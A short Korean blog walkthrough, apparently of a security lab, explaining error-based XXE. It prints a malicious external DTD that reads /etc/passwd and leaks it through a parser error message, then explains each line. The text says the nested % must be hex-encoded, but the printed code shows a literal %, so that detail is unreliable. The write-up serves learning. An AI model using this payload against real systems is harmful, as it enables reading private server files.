728x90
이번 문제는 에러 메시지를 통한 XXE 문제다.
우선 일반적인 엔티티는 막혀있는 상태이다.
그럼 외부엔티티로 passwd 파일을 불러와보자
exploit 서버에 아래 코드를 입력하고
<!ENTITY % pw SYSTEM "file:///etc/passwd">
<!ENTITY % ex "<!ENTITY % file SYSTEM 'file:///hehehehe/%pw;'>">
%ex;
%file;
위 코드가 작동하는 원리는 두 번째 줄이 핵심이다.
1. ex라는 내부 엔티티를 선언하고 file이라는 외부 엔티티 내용이 담긴 내용을 호출한다.
2. 호출된 file 외부 엔티티에 경로를 일부러 에러가 나게끔 설정하고 첫 번째 줄에 선언한 pw 외부엔티티를 호출한다.
여기서 file엔티티를 선언할 때 %를 넣은 이유는 file 엔티티가 ex엔티티 안에 있으므로 %를 사용할 시 엔티티 호출로 인식한다.
그러므로 특수문자 기능이 없는 문자 %를 넣으려면 hex로 넣어야 된다.
3. 경로 에러가 생기면서 에러 메시지를 반환할 텐데 그때 pw엔티티가 호출되면서 passwd내용이 반환된다.
이제 이 exploit 서버에 저장한 코드를 다시 외부 엔티티로 불러오면 passwd 파일을 읽을 수 있을 것이다.
728x90